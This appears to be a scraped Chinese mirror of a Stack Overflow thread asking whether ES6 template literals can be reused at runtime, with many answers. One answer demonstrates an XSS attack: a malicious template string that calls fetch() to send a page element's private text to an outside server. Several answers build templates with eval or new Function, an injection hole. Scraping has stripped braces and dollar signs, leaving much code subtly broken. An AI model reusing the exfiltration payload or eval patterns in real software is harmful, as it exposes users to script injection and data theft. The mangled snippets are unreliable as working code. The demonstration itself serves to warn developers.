ES6 模板文字可以在运行时替换(或重用)吗?

Posted

技术标签:

【中文标题】ES6 模板文字可以在运行时替换(或重用)吗?【英文标题】:Can ES6 template literals be substituted at runtime (or reused)? 【发布时间】:2015-07-12 06:11:48 【问题描述】:

tl;dr:是否可以制作可重用的模板文字?

我一直在尝试使用模板文字,但我想我只是不明白,现在我感到很沮丧。我的意思是,我想我明白了,但“它”不应该是它的工作方式,或者它应该如何得到。应该会有所不同。

我看到的所有示例(甚至标记的模板)都要求在声明时而不是运行时完成“替换”,这对我来说对于模板来说似乎完全没用。也许我疯了,但对我来说,“模板”是一个包含在你使用它时被替换的标记的文档,而不是在你创建它时,否则它只是一个文档(即字符串)。模板与标记一起存储作为标记,并且在您...评估时评估这些标记。

每个人都举了一个类似的可怕例子:

var a = 'asd';
return `Worthless $a!`

这很好,但如果我已经知道a,我只会return 'Worthless asd'return 'Worthless '+a。重点是什么?严重地。好吧,关键是懒惰;更少的优点,更多的可读性。伟大的。但这不是模板!不是恕我直言。而 MHO 才是最重要的!恕我直言,问题在于模板在声明时被评估,所以,如果你这样做,恕我直言:

var tpl = `My $expletive template`;
function go()  return tpl; 
go(); // SPACE-TIME ENDS!

由于expletive 没有被声明,它输出类似My undefined template 的东西。极好的。实际上,至少在 Chrome 中,我什至不能声明模板;它会引发错误,因为未定义 expletive。我需要的是能够在声明模板后进行替换:

var tpl = `My $expletive template`;
function go()  return tpl; 
var expletive = 'great';
go(); // My great template

但是我不明白这是怎么可能的,因为这些并不是真正的模板。即使你说我应该使用标签,不,它们也不起作用:

> explete = function(a,b)  console.log(a); console.log(b); 
< function (a,b)  console.log(a); console.log(b); 
> var tpl = explete`My $expletive template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...

这一切都让我相信模板字面量的名称非常错误,应该按照它们的真正含义来称呼:heredocs。我猜“字面”部分应该已经告诉了我(例如,不可变)?

我错过了什么吗?有没有(好的)方法来制作可重用的模板文字?


我给你,可重复使用的模板字面量

> function out(t)  console.log(eval(t)); 
  var template = `\`This is
  my \$expletive reusable
  template!\``;
  out(template);
  var expletive = 'curious';
  out(template);
  var expletive = 'AMAZING';
  out(template);
< This is
  my undefined reusable
  template!
  This is
  my curious reusable
  template!
  This is
  my AMAZING reusable
  template!

这是一个幼稚的“助手”功能......

function t(t)  return '`'+t.replace('','$')+'`'; 
var template = t(`This is
my expletive reusable
template!`);

...让它“更好”。

我倾向于称它们为模板肠线,因为它们产生曲折感觉的区域。

【问题讨论】:

它确实支持删除线(但在这样的 cmets 中不支持)。将您的文本放在&lt;strike&gt; 标记中。 ES6 模板文字主要用于老式字符串插值。如果您想要动态模板,请使用 Handlebars 等,或 Pointy 的标记模板解决方案。 模板字符串是no templates。另见Defer execution for ES6 Template Strings 你能不能让你的帖子少一些乱七八糟的?另外,您似乎打算以问答格式编写教程,如果您这样做了,请从您的问题和@987654323中删除“我给你...”部分@. 我不知道您为什么认为模板文字无用且不可重用。我一直在使用它们function hsl(h, s, l) return `hsl($h * 360),$s * 100)%,$l * 100)%`; 【参考方案1】:

要使这些文字像其他模板引擎一样工作,需要一个中间表单。

最好的方法是使用Function 构造函数。

const templateString = "Hello $this.name!";
const templateVars = 
    name: "world"    


const fillTemplate = function(templateString, templateVars)
    return new Function("return `"+templateString +"`;").call(templateVars);


console.log(fillTemplate(templateString, templateVars));

与其他模板引擎一样,您可以从文件等其他地方获取该字符串。

使用这种方法可能会出现一些问题,比如模板标签很难使用,但如果你很聪明,可以添加这些问题。由于后期插值,您也不能拥有内联 javascript 逻辑。这也可以通过一些想法来解决。

【讨论】:

不错!你甚至可以使用new Function(`return \`$template\`;`) 注意这个模板字符串有点“隐藏”到转译(即 webpack),因此不会在客户端转译成 sufficiently compatible (i.e. IE11) 的东西......! XSS 漏洞?详情在THIS JSFIDDLE 我稍微调整了这段代码以避免写this.gist.github.com/tmarshall/31e640e1fa80c597cc5bf78566b1274c 我没有得到“新功能”的用例。只需 const genMarkup = (person) => '&lt;div&gt;$person.name&lt;/div&gt;'【参考方案2】:

您可以将模板字符串放入函数中:

function reusable(a, b) 
  return `a is $a and b is $b`;

你可以用一个标记的模板做同样的事情:

function reusable(strings) 
  return function(... vals) 
    return strings.map(function(s, i) 
      return `$s$vals[i] || ""`;
    ).join("");
  ;


var tagged = reusable`a is $0 and b is $1`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"

这个想法是让模板解析器从变量“slots”中分离出常量字符串,然后返回一个函数,每次都根据一组新值将它们重新组合在一起。

【讨论】:

@FelixKling 可能是;如果是这样,我会检查并修复它。 edit 是的,看起来我遗漏了示例的重要部分,即“可重用”功能:) 是的,无论是 tbh 都没有多大意义 ;) 你总是可以删除它....但是 reusable 可以实现,以便它返回一个函数,你会在文字中使用$0$1 而不是$a$b。然后您可以使用该值来引用函数的参数,类似于 Bergi 在他的上一个示例中所做的:***.com/a/22619256/218196(或者我猜它基本上是相同的)。 @FelixKling 好的,我想我已经想出了一些至少与 OP 大致相同的东西。 如果结果实际上不是字符串,标记模板会非常强大。例如在我的一个项目中,我用它来做 AST 节点插值。例如。可以使用expression`a + $node` 来构建一个带有现有 AST 节点 node 的 BinaryExpression 节点。在内部,我们插入一个占位符以生成有效代码,将其解析为 AST 并用传入的值替换占位符。 为了将来参考,这里是一个班轮:const reusableStr = (strings, ...extra ) =&gt; (...vals) =&gt; strings.map((s, i) =&gt; `$s$vals[i] || ""`).join("");【参考方案3】:

可能最简洁的方法是使用箭头函数(因为此时,我们已经在使用 ES6)

var reusable = () => `This $object was created by $creator`;

var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"

object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"

...对于标记的模板文字:

reusable = () => myTag`The $noun go $verb and `;

var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) 
    return strings[0] + noun + strings[1] + verb + strings[2] + verb;
;
console.log (reusable()); // "The wheels on the bus go round and round"

noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) 
    return strings[0] + noun + strings[1] + verb;
;
console.log (reusable()); // "The racecars go fast"

这也避免了使用eval()Function(),这可能会导致编译器出现问题并导致速度大大降低。

【讨论】:

我认为这是最好的之一,因为您可以在函数myTag 中注入一些代码来做一些事情。例如,使用输入参数作为缓存输出的键。 我认为这是最好的答案。您还可以向箭头函数添加参数,我认为这会使其更加简洁:var reusable = (value: string) =&gt; `Value is $value` 它假定 object 和 creator 是全局可用的变量。如果字面量模板和实际值是同一个函数的参数,它就行不通了。例如。见 fillTemplate('Hi $firstName', firstName: 'Joe');例如在 mikemaccana 回答 ***.com/a/51079254/52277 而在顶部 Quentin Engles 回答 那很干净;不幸的是,如果objectcreator 变量超出reusable 的范围,它就会崩溃:var reusable = () => This $object was created by $creator; (function IIFE() var object = "template string", creator = "a function"; console.log (reusable()); // "这个模板字符串是由一个函数创建的" )();未捕获的引用错误:对象未定义``` 只需添加一个对象作为参数(使用 $ 之类的短名称),我们就是金...【参考方案4】:

是的,您可以通过 Function(或 eval)将带有模板的字符串解析为 JS 来做到这一点 - 但不建议这样做并允许 XSS attack

// unsafe string-template function
const fillTemplate = function(templateString, templateVars)
    return new Function("return `"+templateString +"`;").call(templateVars);



function parseString() 
  // Example malicious string which will 'hack' fillTemplate function
  var evilTemplate = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',method: 'POST', body: JSON.stringify( info: document.querySelector('#mydiv').innerText ) ) + alert('stolen')||''`";

  var templateData = Id:1234, User:22;
  var result = fillTemplate(evilTemplate, templateData);

  console.log(result);

  alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);

#mydiv  background: red; margin: 20px

.btn  margin: 20px; padding: 20px; 
<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then backend save templates in DB and show them to other users...

Some bad user/hacker can then prepare malicious template 
with JS code... and when other logged users "see" that malicious 
template (e.g. by "Click me!" in this example), 
then it can read some information from their current 
page with private content and send it to external server. 

Or in worst case, that malicious template can send some 
authorized "action" request to the backend... 
(like e.g. action which delete some user content or change his name etc.).
In case when logged user was Admin then
action can be even more devastating (like delete user etc.)
</pre>
<div id='mydiv'>
Private content of some user
</div>

<div id="msg"></div>

<button class="btn" onclick="parseString()">Click me! :)</button>

相反,您可以安全地将对象 obj 字段以动态方式插入到模板 str,如下所示

let inject = (str, obj) => str.replace(/\$(.*?)/g, (x,g)=> obj[g]);

let inject = (str, obj) => str.replace(/\$(.*?)/g, (x,g)=> obj[g]);


// --- test ---

// parameters in object
let t1 = 'My name is $name, I am $age. My brother name is also $name.';
let r1 = inject(t1, name: 'JOHN',age: 23 );
console.log("OBJECT:", r1);


// parameters in array
let t2 = "Values $0 are in $2 array with $1 values of $0."
let r2 = inject(t2, ['A,B,C', 666, 'BIG'] );
console.log("ARRAY :", r2);

【讨论】:

这是我使用的方法,效果很好。好的例子!有吗?在 RegEx 帮助中的 * 之后呢?我不是 RegEx 专家,但我猜因为 * 表示零或更多(在这种情况下你确实想要“更多”),所以不需要贪婪的限制? @muescha 您将更改以下行:value = data[key],以使用递归并搜索整个数据对象和嵌套对象,直到找到该属性。示例:codereview.stackexchange.com/questions/73714/… 和 mikedoesweb.com/2016/es6-depth-first-object-tree-search 正则表达式替换不允许使用函数,例如:'Hello $upper(name'会产生'Hello undefined' @Michel Fornaris 您可以将函数调用放在对象/上下文中... 这很有启发性【参考方案5】:

2019 年答案

注意:该库最初希望用户清理字符串以避免 XSS。该库的第 2 版不再需要对用户字符串进行清理(Web 开发人员无论如何都应该这样做),因为它完全避免了 eval

es6-dynamic-template module on npm 就是这样做的。

const fillTemplate = require('es6-dynamic-template');

与当前的答案不同:

它使用 ES6 模板字符串,而不是类似的格式。 更新版本 2 使用类似的格式,而不是 ES6 模板字符串,以防止用户使用未经处理的输入字符串。 模板字符串中不需要this 您可以在单个函数中指定模板字符串和变量 它是一个可维护、可更新的模块,而不是 *** 中的 copypasta

用法很简单。使用单引号作为模板字符串稍后解析!

const greeting = fillTemplate('Hi $firstName', firstName: 'Joe');

【讨论】:

Oliver Dixon:您是否向 React 提交了错误?回复:“不需要库”-我不确定堆栈溢出帖子中的 copypasta 是否比版本化、维护的库更好。 这是我在个人项目中使用的解决方案,它完美无缺。我实际上认为使用太多库是个坏主意,尤其是对于像这样的小型实用程序。 XSS 漏洞?详情在THIS FIDDLE 这不会远程使用 es6 模板文字。试试10 * 20 = $10 * 20,所以它可能是一个类似的格式,但它甚至不是远程 es6 模板文字 您应该在答案中披露您是图书馆的作者。【参考方案6】:

简化@metamorphasi 提供的答案;

const fillTemplate = function(templateString, templateVars)
  var func = new Function(...Object.keys(templateVars),  "return `"+templateString +"`;")
  return func(...Object.values(templateVars));


// Sample
var hosting = "overview/id/d:$Id";
var domain = Id:1234, User:22;
var result = fillTemplate(hosting, domain);

console.log(result);

【讨论】:

此代码比主要答案更不言自明。得到了我的支持:) 这应该允许您使用变量或外部文件(在 NodeJS 中)作为模板或在运行时动态构建它们。不使用eval XSS 漏洞?摆弄恶意代码(变量var hosting)HERE。【参考方案7】:

2021 年出现了迄今为止最直接的解决方案。

const tl = $ =>`This $$.val`;
tl(val: 'code');

这几乎与编写和重用模板文字(OP 想要的)相同。

你可以从这里调整一些东西...

【讨论】:

非常有效且简短 你能解释一下吗? @Trevortni 第一行创建了一个在下一行调用的函数。该函数的代码与模板文字的代码几乎相同。但是函数是可重用的,而 TL 不是...【参考方案8】:

如果您不想使用有序参数或上下文/命名空间来引用模板中的变量,例如$0$this.something$data.something,您可以使用模板函数来处理范围。

示例说明如何调用此类模板:

const tempGreet = Template(() => `
  <span>Hello, $name!</span>
`);
tempGreet(name: 'Brian'); // returns "<span>Hello, Brian!</span>"

模板功能:

function Template(cb) 
  return function(data) 
    const dataKeys = [];
    const dataVals = [];
    for (let key in data) 
      dataKeys.push(key);
      dataVals.push(data[key]);
    
    let func = new Function(...dataKeys, 'return (' + cb + ')();');
    return func(...dataVals);
  

在这种情况下,你只需要传递一个返回 ES6 模板字面量的函数(在示例中我使用了箭头函数)。我认为获得我们所追求的那种可重复使用的插值是一个小小的权衡。

在 GitHub 上:https://github.com/Adelphos/ES6-Reuseable-Template

【讨论】:

这很好,但缩小(vals、func 等)是不必要的,'cb' 不是回调(这完全是同步代码),你可以使用 Object.values()Object.keys()【参考方案9】:

简短的回答是在 lodash 中使用 _.template

// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello $ user !');
compiled( 'user': 'pebbles' );
// => 'hello pebbles!'

【讨论】:

【参考方案10】:

我错过了什么吗?有没有 [good] 方法来制作可重用的模板文字?

也许遗漏了一些东西,因为我对这个问题的解决方案对我来说似乎很明显,以至于我很惊讶没有人在这么老的问题中写过。

我有一个几乎单行的:

function defer([first, ...rest]) 
  return (...values) => rest.reduce((acc, str, i) => acc + values[i] + str, first);

就是这样。当我想重用模板并推迟替换的解决方案时,我只是这样做:

> t = defer`My template is: $null and $null`;
> t('simple', 'reusable');          // 'My template is: simple and reusable'
> t('obvious', 'late to the party'; // 'My template is: obvious and late to the party'
> t(null);                          // 'My template is: null and undefined'
>
> defer`Choose: $'ignore' / $undefined`(true, false); // 'Choose: true / false'

应用这个标签会返回一个'function'(而不是'string'),它会忽略传递给文字的任何参数。然后可以稍后使用新参数调用它。如果某个参数没有对应的替换,则变为'undefined'


扩展答案

这个简单的代码是功能性的,但是如果您需要更详细的行为,可以应用相同的逻辑并且有无限的可能性。你可以:

    利用原始参数:

您可以在构造中存储传递给文字的原始值,并在应用模板时以创造性的方式使用它们。它们可以成为标志、类型验证器、函数等。这是一个将它们用作默认值的示例:

    function deferWithDefaults([first, ...rest], ...defaults) 
      return (...values) => rest.reduce((acc, curr, i) => 
        return acc + (i < values.length ? values[i] : defaults[i]) + curr;
      , first);
    

然后:

    > t = deferWithDefaults`My template is: $'extendable' and $'versatile'`;
    > t('awesome');                 // 'My template is: awesome and versatile' 
    编写模板工厂:

通过将此逻辑包装在一个函数中,该函数期望一个自定义函数作为参数,该函数可应用于缩减(当连接模板文字的片段时)并返回具有自定义行为的新模板。

    const createTemplate = fn => function (strings, ...defaults) 
      const [first, ...rest] = strings;
      return (...values) => rest.reduce((acc, curr, i) => 
        return acc + fn(values[i], defaults[i]) + curr;
      , first);
    ;

然后,您可以编写模板,在编写嵌入式 html、css、sql、bash 时自动转义或清理参数...

    function sqlSanitize(token, tag) 
      // this is a gross simplification, don't use in production.
      const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/.test(name) ? `"$name.replace(/"/g, '""')"` : name);
      const quoteValue = value => (typeof value == 'string' ? `'$value.replace(/'/g, "''")'` : value);
      switch (tag) 
        case 'table':
          return quoteName(token);
        case 'columns':
          return token.map(quoteName);
        case 'row':
          return token.map(quoteValue);
        default:
          return token;
      
    

    const sql = createTemplate(sqlSanitize);

使用这个天真的(我重复一遍,天真的!)sql 模板,我们可以构建这样的查询:

    > q  = sql`INSERT INTO $'table' ($'columns')
    ... VALUES ($'row');`
    > q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true])
    // `INSERT INTO user (id,"user name","is""Staff""?")
    // VALUES (1,'O''neil',true);`

    接受命名参数进行替换:根据已经给出的内容,一个不那么难的练习。 this other answer 中有一个实现。

    使返回对象的行为类似于'string':嗯,这是有争议的,但可能会导致有趣的结果。显示在this other answer。

    在调用点解析全局命名空间内的参数:

我给你,可重用的模板文字:

嗯,这就是 OP 显示的他的附录,使用命令 evil,我的意思是,eval。这可以在没有eval 的情况下完成,只需将传递的变量名称搜索到全局(或窗口)对象中即可。我不会展示如何做,因为我不喜欢它。闭包是正确的选择。

【讨论】:

【参考方案11】:

感谢@Quentin-Engles 的绝妙想法和最佳答案,这让我开始了!

但是我将新函数直接存储在一个变量中,而不是每次都返回函数,这样函数和模板文字都只构建一次,而不是每次调用它,就像昆汀的回答一样。

const templateString = "Hello $this.name.";
var myData = 
    name: "world"    
;

const buildItem = new Function("return `" + templateString + "`;");

console.log(buildItem.call(myData));  // Hello world.

myData.name = "Joe";
console.log(buildItem.call(myData));  // Hello Joe.

【讨论】:

这样安全吗?可以控制templateString变量内容的人注入代码吗? @Ivancho 是的,它是安全的。它与 eval() 不同......它仍然只是一个 ES6 模板文字。这只是一种将变量动态传递给文字的方法。如果它不安全,那么 ES6 文字作为一个整体是不安全的。【参考方案12】:

总的来说,我反对使用邪恶的eval(),但在这种情况下它是有道理的:

var template = "`$a.$b`";
var a = 1, b = 2;
var populated = eval(template);

console.log(populated);         // shows 1.2

然后,如果您更改值并再次调用 eval(),您将获得新结果:

a = 3; b = 4;
populated = eval(template);

console.log(populated);         // shows 3.4

如果你想把它放在一个函数中,那么它可以这样写:

function populate(a, b)
  return `$a.$b`;

【讨论】:

如果你正在编写一个包含模板的函数,你绝对不应该使用eval @Bergi 为什么?它与您的实现有何不同? 我“似乎知道”的原因适用于任何动态构建的代码。编写函数以便在不显式调用eval() 的情况下构建结果与eval() 完全相同,因此它没有任何好处,因为它只会使代码更难阅读。 没错。并且由于您的 populate 函数不会动态构建代码,因此它不应该使用 eval 以及它的所有缺点。 你的函数可能只是function populate(a,b) return `$a.$b`; eval 什么都不加【参考方案13】:

您可以只使用单行标记模板,例如:

const SERVICE_ADDRESS = (s,tenant) => `http://localhost/$tenant/api/v0.1/service`;

在客户端代码中,您可以像这样使用它:

const myTenant = 'me';
fetch(SERVICE_ADDRESS`$myTenant`);

【讨论】:

【参考方案14】:

如果您正在寻找一些相当简单的东西(只是固定变量字段,没有计算,条件...),但这也适用于客户端on browsers without template string support like IE 8,9,10,11...

我们开始:

fillTemplate = function (templateString, templateVars) 
    var parsed = templateString;
    Object.keys(templateVars).forEach(
        (key) => 
            const value = templateVars[key]
            parsed = parsed.replace('$'+key+'',value)
        
    )
    return parsed

【讨论】:

这将对每个变量进行查找。还有另一种方法可以一次替换我在此模块中实现的所有事件:safe-es6-template【参考方案15】:

这是我最好的尝试:

var s = (item, price) => return `item: $item, price: $$price`
s('pants', 10) // 'item: pants, price: $10'
s('shirts', 15) // 'item: shirts, price: $15'

概括:

var s = (<variable names you want>) => return `<template with those variables>`

如果你没有运行 E6,你也可以这样做:

var s = function(<variable names you want>)return `<template with those variables>`

这似乎比之前的答案更简洁一些。

https://repl.it/@abalter/reusable-JS-template-literal

【讨论】:

【参考方案16】:

更新:以下答案仅限于单个变量名称,因此,'Result $a+b' 之类的模板不适用于这种情况。但是,您始终可以使用模板值:

format("This is a test: $a_b", a_b: a+b);

原始答案:

基于之前的答案,但创建了一个更“友好”的实用函数:

var format = (template, params) => 
    let tpl = template.replace(/\$(?!this\.)/g, "$this.");
    let tpl_func = new Function(`return \`$tpl\``);

    return tpl_func.call(params);

你可以像这样调用它:

format("This is a test: $hola, second param: $hello", hola: 'Hola', hello: 'Hi');

结果字符串应该是:

'This is a test: Hola, second param: Hi'

【讨论】:

这样的模板怎么样? `Result: $a+b` 嗨@Atiris,你是对的,这是一个限制,我已经更新了我的答案。【参考方案17】:

我对每次键入 this. 所需的额外冗余感到恼火,因此我还添加了正则表达式以将变量(如 .a)扩展为 this.a

解决方案:

const interp = template => _thisObj =>
function() 
    return template.replace(/\$([^]*)/g, (_, k) =>
        eval(
            k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) =>
                args[0].charAt(0) == '.' ? 'this' + args[0] + args[1] : r
            )
        )
    );
.call(_thisObj);

这样使用:

console.log(interp('Hello $.a$.b')( a: 'World', b: '!' ));
// outputs: Hello World!

【讨论】:

【参考方案18】:

我只是发布了一个可以简单地完成这项工作的 npm 包。 深受this answer的启发。

const Template = require('dynamic-template-string');

var tpl = new Template('hello $name');

tpl.fill(name: 'world'); // ==> 'hello world';
tpl.fill(name: 'china'); // ==> 'hello china';

它的实现非常简单。希望你会喜欢它。


module.exports = class Template 
  constructor(str) 
    this._func = new Function(`with(this)  return \`$str\`; `);
  

  fill(data) 
    return this._func.call(data);
  

【讨论】:

【参考方案19】:

const fillTemplate = (template, values) => 
  template = template.replace(/(?<=\$)\w+(?=)/g, v=>"this."+v);
  return Function.apply(this, ["", "return `"+template+"`;"]).call(values);
;

console.log(fillTemplate("The man $man is brother of $brother", man: "John", brother:"Peter"));
//The man John is brother of Peter

【讨论】:

【参考方案20】:

你可以像这样使用内联箭头函数, 定义:

const template = (substitute: string) => `[^.?!]*(?<=[.?\s!])$substitute(?=[\s.?!])[^.?!]*[.?!]`;

用法:

console.log(template('my replaced string'));

【讨论】:

【参考方案21】:

运行时模板字符串

var templateString = (template, values) => 
    let output = template;
    Object.keys(values)
        .forEach(key => 
        output = output.replace(new RegExp('\\$' + `$key`, 'g'), values[key]);
    );
    return output;
;

测试

console.debug(templateString('hello $word world', word: 'wonderful'));

【讨论】:

【参考方案22】:

您可以使用以下函数来动态解析模板,提供新数据。

这使用了 javascript 的一个不常见的特性,称为 Tagged Template Literal


function template(...args) 
  return (values) =>
    args[0].reduce(
      (acum, current, index) => 
        acum.concat(
          current, values[index] === undefined ? '' : values[index]
        ),
      ''
    )


const person = 'Lydia';
const age = 21;

template `$person is $age years old... yes He is $age`(['jose', 35, 38]); //?

【讨论】:

【参考方案23】:

当我遇到它时,这让我非常头疼。 javascript 中的文字模板非常酷,但它们 **** 可重用或具有动态值。但解决方案非常简单。如此简单,事实上,在花了几天时间编写解析器和格式化程序以及其他所有死路一条的解决方案后,我不得不踢自己几次。最后我放弃了这个想法,打算使用 mustache 或其他模板模块后,它击中了我.....

const DT = function dynamicTemplate(source)  return (new Function(`return \`$source\``))() 

//let a = 1, b = 2;
//DT("$a + $b equals $a + b")
// prints '1 + 2 equals 3'

这就是她写的全部内容。

【讨论】:

只需解开外部函数 (DT) 即可获得可重用部分。【参考方案24】:

如果你使用的是 Angular,你可以像这样使用@ngx-translate/core 包:

import  TranslateDefaultParser  from '@ngx-translate/core';

export class SomeClass 
    public parser = new TranslateDefaultParser();
    test() 
        // outputs "This is my great reusable template!"
        this.parser.interpolate('This is my $expletive reusable template!',  expletive: 'great' );
    
    ...

【讨论】:

以上是关于ES6 模板文字可以在运行时替换(或重用)吗?的主要内容,如果未能解决你的问题,请参考以下文章

在编译字符串插值实例时,Coffeescript是否始终使用ES6模板文字?

strict模式(ES6)

第三章:模板扩展

在 ES6 模板文字中插入 if 语句

我们可以在容器运行时用 docker-compose 替换图像吗

jQuery $.each 方法中的 ES6 模板文字